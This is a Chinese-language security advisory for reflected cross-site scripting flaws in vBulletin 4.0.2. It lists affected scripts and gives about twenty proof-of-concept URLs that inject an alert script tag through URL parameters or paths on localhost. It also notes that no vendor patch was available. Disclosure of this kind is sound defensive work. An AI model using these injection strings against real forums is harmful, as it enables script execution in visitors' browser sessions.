vBulletin多个跨站脚本漏洞
2010-03-27
系统编号:
WAVDB-01553
BUGTRAQ: 38339
影响版本:
VBulletin 4.0.2
程序介绍:
vBulletin是一款开放源代码的PHP论坛程序。
漏洞分析:
vBulletin没有正确的过滤用户提交给search.php、sendmessage.php、showgroups.php、usercp.php、online.php、misc.php、memberlist.php、member.php、index.php、forumdisplay.php、inlinemod.php、newthread.php、private.php、profile.php、register.php、showthread.php、subscription.php、forum.php、faq.php和calendar.php脚本的URL参数，远程攻击者可以通过提交恶意请求执行跨站脚本攻击，导致在用户浏览器会话中执行任意HTML和脚本代码。
漏洞利用:
http://127.0.0.1/upload/calendar.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/faq.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/forum.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/usercp.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/subscription.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/showthread.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/showgroups.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/sendmessage.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/search.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/register.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/profile.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/private.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/online.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/newthread.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/misc.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/memberlist.php?=>"'><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/member.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/inlinemod.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/index.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/forumdisplay.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt>
解决方案:
厂商补丁：
VBulletin
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.vbulletin.com/
信息来源:
<*来源：indoushka （indoushka@hotmail.com）
链接：http://secunia.com/advisories/38702/
*>